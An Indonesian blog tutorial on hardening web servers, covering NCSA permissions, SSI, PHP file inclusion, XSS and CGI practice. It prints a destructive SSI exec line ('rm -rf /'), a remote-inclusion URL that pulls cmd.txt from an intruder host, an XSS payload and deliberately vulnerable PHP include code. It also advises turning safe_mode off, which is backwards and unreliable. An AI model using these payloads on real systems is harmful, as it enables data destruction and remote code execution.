Sekilas Tentang Web Security
Pengantar
Dalam dunia Teknologi Informasi khususnya INTERNET istilah World Wide Web ( WWW ) sudah tidak asing di telinga kita, World Wide Web merupakan system pertukaran informasi melalui internet. Web dibangun melalui program yang dinamakan Web Server, yang membuat informasi-informasi dapat tersedia dalam jaringan. Sedang untuk mengakses atau menampilkan informasi yang tersimpan dalam server-server tersebut kita gunakan Web browser ( IExplorer, Opera, Mozilla, Netscape, dll ) .
World Wide Web pada mulanya dikembangkan sebagai sebuah system bagi para ahli fisika untuk keperluan riset mereka. Dewasa ini, implementasi WWW semakin luas dan nyaris mencakup semua sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan keagamaan, social dan budaya, dan bahkan untuk kepentingan individual.
Oleh karena begitu kompleksnya penggunaan WWW ini, maka tak heran apabila WWW merupakan sala satu layanan yang kerap menjadi sasaran intruder dalam aksinya, betapa tidak, WWW adalah investasi yang besar dan bernilai tinggi, dan orang-orang kerap mengambil keuntungan darinya dengan berbagai cara.
Beberapa Alasan
WWW adalah salah satu layanan terpopuler di internet. Tetapi seperti telah saya singgung diatas, ia adalah target mayoritas penyerang dan penyusup, banyak cara yang mereka lakukakan untuk menempuhnya. Beberapa hal yang menjadi alasan adalah :
- Seorang penyerang dapat mengambil keuntungan dari bug-bug dalam sebuah server Web atau melalui script-script CGI sebagai usaha untuk memperoleh akses terhadap system.
- Informasi rahasia dalam server Web dapat didistribusikan ke individu-individu tidak sah
- Informasi rahasia yang ditransmisikan antara server Web dan browser dapat dicegat atau disadap.
- Bug-bug pada browser Web ( atau fitur-fitur yang tidak kita sadari ) memungkinkan info-info rahasia dalam klien Web dapat dicuri oleh server Web jahat
- Beberapa organisasi merasa butuh menggunakan teknologi-teknologi Web tertentu ( Misal program-program dan software berlisensi ) guna memenuhi kebutuhan mereka. Program atau software-software tersebut seringkali membawa kelemahan-kelemahan security baru
Menjalankan Secure Server
Server-server Web dirancang untuk menerima beragam request dari host-host bebas di internet, juga merespons informasi yang di-request dalam waktu singkat. Mereka dapat menjadi pintu gerbang informasi baik bersifat public maupun personal. Untuk membangun sebuah secure server dalam berbagai platform. Anda hendaknya mempertimbangkan hal-hal penting dibawah ini :
- User-user hendaknya tidak pernah mengeksekusi program-program sembarangan atau perintah-perintah shell dalam server anda
- Script-script CGI yang berjalan dalam sever anda hendaknya membentuk fungsi-fungsi penerimaan dan penolakan ( pesan error ). Script-script juga mengantisipasi kemungkinan terjadinya input-input yang membahayakan.
Sesi dibawah ini akan membahas beragam teknik untuk penanganan isu-isu di atas.
UID Server
Server-server Web umumnya dijalankan oleh superuser. Karena server dijalankan sebagai root maka ia dapat mendengar request-request dalam port 80, port standar HTTP.
Begitu sever dijalankanm ia mengubah UID-nya ke username yang ditentukan dalam file konfigurasi. Pada server NCSA, file konfigurasi ini dinamakan httpd.conf.
Setting username dalam httpd.conf dapat berupa :
# User/Group: The name (or #number) of the user/group to run httpd as.
User http
Group http
Pada setting diatas, user dan group yang Anda poloh hendaknya tidak berupa root. Juga, user dan group tersebut disarankan tidak memiliki akses special dalam server.
*Catatan
Jangan jalankan server anda sebagai root! Meski sever anda mesti dijalankan pertama kali oleh root, file httpd.conf hendaknya tidak memuat user root. Jika dilakukan, maka setiap yang dieksekusi server Web Anda akan dijalankan sebagai superuser, yang berpeluang menimbulkan masalah-masalah potensial.
Mengerti Struktur Direktori Server Anda
Membangun sever yang baik hendaknya didukung dengan pemahaman terhadap struktur direktori dokumen-dokumen anda. Server Web pada kenyataannya selalu bekerjasama dengan software-software lain, dimana software-software tersebut seringkali membawa direktori-direktori default.
Anda sebagai administrator system hendaknya mengingatkan para developer Web agar mereka memperhatikan aspek-aspek security struktur direktori mereka. Pastikan permisi-permisi direktori dan semua isinya sesuai dengan yang diharuskan. Jangan biarkan user-user dalam system dapat membacanya atau memodifikasinya.
Pasa server NCSA, terdapat enam direktori default yang sering kita temui, yakni :
cgi-bin : Menyimpan script-script CGI
conf : Menyimpan file-file konfigurasi server
htdocs : Menyimpan dokumen-dokumen Web
icons : Menyimpan dokumen-dokumen Web/Image
logs : Record-record aktivitas server
support : Menyimpan program-program supplemental untuk server
Banyak sumber merekomendasikan anda agar membuat sebuah user dan sebuah group untuk diberi nama www, yang dapat digunakan untuk administrasi server web:
drwxr-xr-x 5 WWW WWW 1056 Aug 8 00:01 cgi-bin/
drwxr-x— 2 WWW WWW 1077 Jun 11 17:21 conf/
-rwx——– 1 WWW WWW 229564 May 8 21:58 httpd
drwxrwxr-x 2 WWW WWW 1294 Aug 8 00:01 htdocs/
drwxrwxr-x 2 WWW WWW 3211 Jun 3 21:15 icons/
drwxr-x—- 2 WWW WWW 1168 May 4 22:23 logs/
File-file Konfigurasi
Dalam direktori conf, server NCSA menyajikan file-file konfigurasi utama yakni:
access.conf : Mengontrol akses ke file-file server
httpd.conf : File konfigurasi server
mime.types : Menentukan mapping ekstensi-ekstensi file untuk tipe-tipe file MIME.
Srm.conf : Server Resource Map. File ini memuat informasi konfigurasi server tambahan. SRM menjelaskan document root, apakah boleh atau tidak seorang user memiliki direktori Web sendiri, icon yang digunakan untuk listning direktori, lokasi scripr CGI, direksi-direksi dokumen, dan pesan-pesan error.
Oleh karena informasi dalam file-file ini dapat disalahgunakan untuk menumbangkan server atau system anda, maka disarankan anda memproteksinya sehingga hanya superuser saja yang berwenang membaca dan memodifikasinya:
-rw——- 1 root wheel 954 Aug 6 01:00 access.conf
-rw——- 1 root wheel 2840 Aug 6 01:05 httpd.conf
-rw——- 1 root wheel 3290 Aug 6 00:30 mime.types
-rw——- 1 root wheel 4160 Sept 26 11:00 srm.conf
Isu-isu Konfigurasi Tambahan
Disamping setting permisi-permisi, anda juga perlu mempertimbangkan isu-isu dibawah ini :
Automatic directory listings
Kebanyakan server Web biasanya akan secara otomatis menampilkan daftar sebuah direktori jika disana tidak terdapat file index.html, index.shtml, atau index.php. situasi ini tentuk dapat menimbulkan masalah security, dimana seseorang dapat memanfaatkannya untuk mencari kelemahan file-file yang dikandung system. Oleh sebab itu, penting bagi anda untuk menaruh file index.html pada setiap direktori, atau kalau tidak memungkinkan, anda dapat menggunakkan script atau program redirection yang banyak tersedia di Internet.
Symbolic-link following
Hindari penggunaan link-link simbolis keluar struktur dokumen Web anda. Seseorang dapat mengakses melalui server Web untuk membuat dokumen lain dalam komputer anda melalui link-link simbolis. Alternatifnya, anda perlu menset opsi symlinks server sehingga link-link sombolis hanya tersaji bagi pemilik link tersebut.
Server-side Includes
Server-side includes (SSI) merupakan directive yang dapat disertakan dalam sebuah dokumen HTML. Server-side includes digunakan untuk menyisipkan dokumen-dokumen lain, atau mengeksekusi dokumen tertentu dan menampilkan hasilnya. Dengan SSI, diantaranya anda dapat menampilkan informasi tanggal dan waktu secara otomatis sesuai setting waktu system. Situs-situs pemberitaan seringkali memanfaatkan fitur ini dalam meneruskan dokumen-dokumen berita ke halaman HTML mereka yang berubah-ubah setiap waktu.
Dibawah ini adalah contoh aplikasi SSI yang TIDAK BOLEH terjadi dalam situs anda, karena dapat menampilkan file password system (/etc/passwd) ke halaman web anda :
<!–#include file=”/etc/passwd”>
<!–#exec cmd=”rm –rf /&;cat /etc/passwd”>
sedangkan script kedua akan menghapus setiap file writable dalam system, yang selanjutnya juga akan me-launch informasi file /etc/passwd.
URL Injection Execution
URL Injection Execution merupakan salah satu jalan ataupun celah yang sering dimanfaatkan oleh para intruder untuk memasuki server ataupun administrasi website, hal ini disebabkan oleh source-source yang dibuat para administrator web dalam mengelola website nya. Situs-situs portal seringkali memiliki celah untuk URL Injection ini.
Beberapa cara yang sering digunakan penyusup dalam hal URL injection antara lain :
- PHP Injection Execution
PHP Injection ini biasanya terjadi akibat kelalaian programmer web dalam menyusun code-code programnya. Berikut adalah contoh code yang kurang baik dalam sebuah website;
<?
If($pilih == “”)
{
include “main.php”;
} else
{
include “$pilih.php”;
}
?>
Code diatas memungkinkan intruder untuk mengeksekusi sebuah file yang berada diluar server tersebut.
http://www.site-anda.com/index.php?pilih=http://www.penyusup.com/cmd.txt?&cmd=id
Untuk mengatasi hal tersebut hendaknya anda memberitahukan kepada programmer web untuk barhati hati dalam mengelola code code site nya, atau dengan jalan mematikan option safe_mode dalam php.ini di server anda.
- XSS ( Cross Side Scriptting )
Cross Side Scriptting ini merupakan bug yang populer sekarang ini, banyak para hacker memanfaatkan bug ini untuk masuk kedalam administrasi web yang mempunya bug ini. Cara ini memanfaatkan kesalahan penulisan code yang sama seperti yang saya sebutkan diatas.
Cara Intruder memanfaatkan bug ini adalah dengan menyisipkan code atau TAG Javascript dalam URL site anda;
http://www.site-anda.com/index.php?pilih=<script>alert(‘XSS ditemukan’);</script>
hasil dari Injection diatas akan menampilkan sebuah alert messages pada halaman web site yang ada dalam server anda.
Hal terbaik untuk mengatasi masalah tersebut salah satunya adalah dengan menyusun code yang tidak mengijinkan user untuk mengeksekusi tag-tag HTML ( dalam hal ini karakter “<” , “>” dll ).
Menulis Scrpt-script dan Program CGI Secara Secure
Program-program CGI/PERL seringkali menimbulkan permasalahan security, terutama untuk aplikasi-aplikasi SUID. Seorang programmer web seringkali membuat atau menaruh program-program eksekusi CGI yang disajikan untuk layanan-layanan user, tetapi tidak disadari program-program tersebut justru membahayakan keamanan server. Oleh sebab itu, apabila anda seorang web developer (pada khususnya) hendaknya berhati-hati dalam memasang script-script ini.
Beberapa hal yang perlu digarisbawahi dalam implementasi program-program CGI di antaranya adalah :
- Konfigurasi server web anda sehingga script-script CGI hanya ditempatkan dibawah direktori tunggal ( biasanya dinamakan cgi-bin atau bin )
- Gunakan sebuah program seperti Tripwire untuk memonitor perubahan script-script secara tidak sah
- Terapkan batasan akses untuk direktori tersebut dan isinya, user-user lokal hendaknya tidak diizinkan menginstal, mengedit, atau menghapus script-script tanpa ada persetujuan administrator. Anda juga perlu mencegah script-script ini dari akses baca, untuk menghindari seseorang melalukakn snooping.
- Hapuslah file-file backup yang secara otomatis dihasilkan oleh editor anda. Banyak administrator system menggunakan text editor seperti Emacs untuk mengedit script-script yang ditaruh dalam server. File-file backup ini dapat dieksekusi oleh penyusup sehingga menimbulkan permasalahan.
- Pastikan direktori dan script-script CGI memiliki permisi HANYA executable ( missal 755 atau 751 ), dan kepemilikkannya sesuai dengan yang seharusnya.
- Pastikan untuk menghapus sample-sampel atau backup script CGI anda, paling tidak, anda menyimpannya pada media terpisah.
- Lakukan audit atas praktek-praktek programming bermasalah melalui tool-tool pembantu
Demikian penjelasan singkat mengenai WEB SECURITY dan macam macam metode yang bisa anda gunakan untuk melindungi server anda dari orang-orang yang tidak bertanggung jawab, semoga tulisan ini bisa bermanfaat untuk anda.
Kata Kunci:
- fungsi access conf (4)
- sebutkan fungsi security yang ada pada jaringan WAN (4)
- srm conf (3)
- sebutkan fungsi - fungsi mail server (3)
- security WAN (2)
Baca Juga :


Komentar Terbaru